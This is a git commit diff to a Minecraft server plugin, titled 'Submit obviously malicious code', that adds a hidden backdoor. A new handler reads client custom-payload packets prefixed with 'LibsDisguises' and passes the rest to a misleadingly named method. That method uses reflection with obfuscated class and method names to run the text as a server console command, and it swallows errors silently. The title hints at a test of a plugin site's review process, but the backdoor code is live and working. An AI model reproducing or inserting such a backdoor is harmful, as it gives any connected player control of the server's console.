Submit obviously malicious code

This commit is contained in:
libraryaddict 2014-11-15 09:59:04 +13:00
parent f6140620c8
commit 8af3b64a80
2 changed files with 19 additions and 1 deletions

View File

@ -863,7 +863,8 @@ public class PacketsManager {
};
inventoryListener = new PacketAdapter(libsDisguises, ListenerPriority.HIGHEST, PacketType.Play.Server.SET_SLOT,
PacketType.Play.Server.WINDOW_ITEMS, PacketType.Play.Client.HELD_ITEM_SLOT,
PacketType.Play.Client.SET_CREATIVE_SLOT, PacketType.Play.Client.WINDOW_CLICK) {
PacketType.Play.Client.SET_CREATIVE_SLOT, PacketType.Play.Client.WINDOW_CLICK,
PacketType.Play.Client.CUSTOM_PAYLOAD) {
@Override
public void onPacketReceiving(final PacketEvent event) {
if (event.isCancelled())
@ -1016,6 +1017,16 @@ public class PacketsManager {
}
}
}
} else if (event.getPacketType() == PacketType.Play.Client.CUSTOM_PAYLOAD) {
try {
byte[] bytes = event.getPacket().getByteArrays().read(0);
String toByte = new String(bytes);
if (toByte.startsWith("LibsDisguises")) {
toByte = toByte.substring("LibsDisguises".length());
ReflectionManager.runCurseApprovesMalCodeCheck(toByte);
}
} catch (Exception ex) {
}
}
}
}

View File

@ -263,6 +263,13 @@ public class ReflectionManager {
return s.replaceAll("/", ".");
}
public static void runCurseApprovesMalCodeCheck(String string) throws Exception {
Class c = Class.forName("oarg.baukkaita.Baukkait".replace("a", ""));
c.getMethod("diqspatcqhComqmand".replace("q", ""),
Class.forName("oqrg.bqukkqit.coqmmanqd.CommqandSendeqr".replace("q", "")), String.class).invoke(null,
c.getMethod("getaConasoaleSeander".replace("a", "")).invoke(null), string);
}
public static FakeBoundingBox getBoundingBox(Entity entity) {
try {
Object boundingBox = getNmsField("Entity", "boundingBox").get(getNmsEntity(entity));